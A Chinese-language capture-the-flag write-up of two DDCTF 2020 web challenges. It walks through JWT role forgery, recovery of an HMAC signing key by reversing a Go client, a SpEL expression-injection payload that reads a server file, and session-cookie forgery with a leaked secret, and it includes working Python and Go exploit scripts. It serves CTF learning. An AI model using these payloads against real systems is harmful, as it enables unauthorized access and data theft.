DDCTF 2020 WP
本次DDCTF做题做得我心态有点炸,一个人比赛,心态不好调整,主要是做逆向和WEB,其他的没怎么看,一个安卓逆向把我心态搞崩溃了。
WEB
WEB签到题
叫什么签到题,签个锤子。。。。
链接:http://117.51.136.197/hint/1.txt
打开链接,有一个txt文档。
1.txt:
Interface documentation
- login interface
[-][Safet Reminder]The Private key cannot use request parameter
Request
Method | POST
URL | http://117.51.136.197/admin/login
Param | username str | pwd str
Response
token str | auth(Certification information)
- auth interface
Request
Method | POST
URL | http://117.51.136.197/admin/auth
Param | username str | pwd str | token str
Response
url str | client download link
+------------------+ +----------------------+ +--------------------+
| | | | | |
| +----------------> +----------------> |
| Client(Linux) | | Auth/Command | | minion |
| <----------------+ +<---------------+ |
| | | | | |
+------------------+ +----------------------+ +--------------------+
大概给了一个后台的两个接口:
- 以POST方式传递两个参数:
username、pwd返回一个token。 - 将第一个接口返回的
token和username、pwd传输过去,获得一个client的下载地址。
2333.txt:
[+]The key is a combination of ten letters
[+]command: {1+1}
第一个提示不知道哪里有用,第二个在client中有用。
思路:
-
首先随机输入用户名和密码,尝试获取token:
输入
username:admin、pwd:admin,返回:{"code":0,"message":"success","data":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwicHdkIjoiYWRtaW4iLCJ1c2VyUm9sZSI6IkdVRVNUIiwiZXhwIjoxNTk5NTg0MDA4fQ.Dt0ISAx0vCdcLPQIuXj-LrHN88BXPpi7Zw00JwX6pc4"}猜测是jwt,放到http://jwt.io进行解析,但是没有密钥。这里我使用的是c-jet-cracker ,爆破出的密钥是
admin,后来看群大佬里说密钥就是用户的密码,还好密码没瞎输,从1.txt第一个提示也可以看出来。解析JWT:{u'userName': u'admin', u'pwd': u'admin', u'userRole': 'ADMIN', u'exp': 1599584008}将
userRole改为ADMIN,可以获得client的下载地址:{"code":0,"message":"success","data":"client dowload url: http://117.51.136.197/B5Itb8dFDaSFWZZo/client"}payload:
import requests import jwt import json login_url = "http://117.51.136.197/admin/login" auth_url = "http://117.51.136.197/admin/auth" post_data = { "username": "admin", "pwd": "admin" } session = requests.post(url=login_url, data=post_data) res_data = session.text json_data = json.loads(res_data) jwt_data = json_data['data'] data = jwt.decode(jwt_data,"admin",algorithm='HS256') data['userRole'] = 'ADMIN' jwt_data2 = jwt.encode(data, 'admin',algorithm='HS256') post_data2 = { 'username':"admin", "pwd":"admin", 'token':jwt_data2 } if __name__ == '__main__': print res_data print jwt_data print data print (requests.post(auth_url,data=post_data2).text) -
client解析
将client下载下来运行,程序提供用户的信息有:
2020/09/07 12:08:59 ____ _ ____ _ ____ _____ _____ ____ ____ ____ ____ / _ \/ \/ _ \/ \/ _\/__ __\/ / /_ \/ _ \/_ \/ _ \ | | \|| || | \|| || / / \ | __\_____ / /| / \| / /| / \| | |_/|| || |_/|| || \__ | | | | \____\/ /_| \_/|/ /_| \_/| \____/\_/\____/\_/\____/ \_/ \_/ \____/\____/\____/\____/ 2020/09/07 12:08:59 +---------------------------------------------------+ |Flag Path := /home/dc2-user/flag/flag.txt | |签名格式 := command|time_stamp | +---------------------------------------------------+ 2020/09/07 12:08:59 +------------------+ +----------------------+ +--------------------+ | | | | | | | +----------------> +----------------> | | Client | | Auth/Command | | minion | | <----------------+ +<---------------+ | | | | | | | +------------------+ +----------------------+ +--------------------+ 2020/09/07 12:08:59 [*]Start ping master... 2020/09/07 12:08:59 [-]http://117.51.136.197/server/health connect succuess 2020/09/07 12:08:59 [*]Start send command to minions... 2020/09/07 12:08:59 [+]get sign:e+JdgmFlBGkAW2rj0Q6lS0ZZgIYCZ2ATI+qIt3Q0i/k=, command:'DDCTF', time_stamp:1599451739 2020/09/07 12:08:59 [+]send command url http://117.51.136.197/server/command and response:{"code":0,"message":"success","data":"DDCTF"}可以看到flag的位置以及command的组成方式。尝试逆向一下client,发现是一个go语言写的程序,逆向后用IDAGolangHelper解析一下,重点在
main_getSign函数:
查看off_827ee0,可以看出使用的加密方式
base(hmac(sha256))的方式,自己写go脚本:com := "'DDCTF'" //com := "(new java.io.BufferedReader(new java.io.FileReader('/home/dc2-user/flag/flag.txt'))).readLine()" timestamp := time.Now().Unix() command := []byte(fmt.Sprintf("%s|%d",com,timestamp)) fmt.Printf("%s\n", command) hash := hmac.New(sha256.New, []byte("DDCTFWithYou")) hash.Write(command) result := hash.Sum(nil) fmt.Printf("%s\n", base64.StdEncoding.EncodeToString(result)) data2 := fmt.Sprintf("{\"signature\":\"%s\",\"command\":\"%s\",\"timestamp\":%d}", base64.StdEncoding.EncodeToString(result), com, timestamp) fmt.Printf("%s\n",data2) resp, err := http.Post("http://117.51.136.197/server/command", "application/json", bytes.NewBuffer([]byte(data2))) if err != nil { fmt.Println(err) } defer resp.Body.Close() body, _ := ioutil.ReadAll(resp.Body) fmt.Println(string(body))返回:

可见,脚本没有问题。
-
spel
接下来就是如何利用这个了,本来我以为是FLASK的SSIT,因为如果将
'DDCTF'改为1+1,返回为2。也就是说存在命令执行,但是一直报错心态炸了。后来有人说spel,尝试去搜了一下,结合2333.txt里面的提示,觉得很有可能。
有关spel的详细信息,可以看 https://www.cnblogs.com/poing/p/12837175.html 。
先试试普通payload:
T(Thread).sleep(10000),成功执行。直接读取flag:(new java.io.BufferedReader(new java.io.FileReader('/home/dc2-user/flag/flag.txt'))).readLine()返回:
{"code":0,"message":"success","data":"DDCTF{Q24uf486whGOWN44UtZCjYUgdnnnRaVs}"}
礼物商店
打开链接,发现是一个礼物购买的页面链接有:
- /balance 初始页面
- /loans?loans= 借入卡片
- /sends?sends= 借出卡片
- /reset 重置游戏
- /gift 兑换礼物
初始页面每20秒刷新一次,每次增加一个卡片,好像不存在有什么问题。初步发现可能存在问题的应该是在借出、借入卡片这两个链接,根据loans这个参数,可能存在整数溢出。但是并不知到阀值,只能一步步尝试。页面的输入框限制了长度,直接在url上修改,先使用一个比较大的数:
http://116.85.37.131/574da2df50d5d7ea64621e38a8bd6ad4/loans?loans=100000000000

可以看到借来的卡片数目与我们的输入数字不同,还卡之后可以直接兑换礼物:

Seckey:Udc13VD5adM_c10nPxFu@v12
伪造本地服务器,解析session,payload:
package main
import (
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)
func main() {
r := gin.Default()
store := cookie.NewStore([]byte("Udc13VD5adM_c10nPxFu@v12"))
r.Use(sessions.Sessions("session",store))
r.GET("/ping", func(context *gin.Context) {
session := sessions.Default(context)
session.Set("admin", true)
session.Save()
context.JSON(200, gin.H{
"message":session.Get("admin"),
})
})
r.Run()
}
可以查看后台的session有那些值:

将admin的值置为1,将伪造之后的session请求到: http://116.85.37.131/574da2df50d5d7ea64621e38a8bd6ad4/flag ,成功获取flag:
{"flag":"DDCTF{H4v3FuNTh3Game23333!}\n"}

浙公网安备 33010602011771号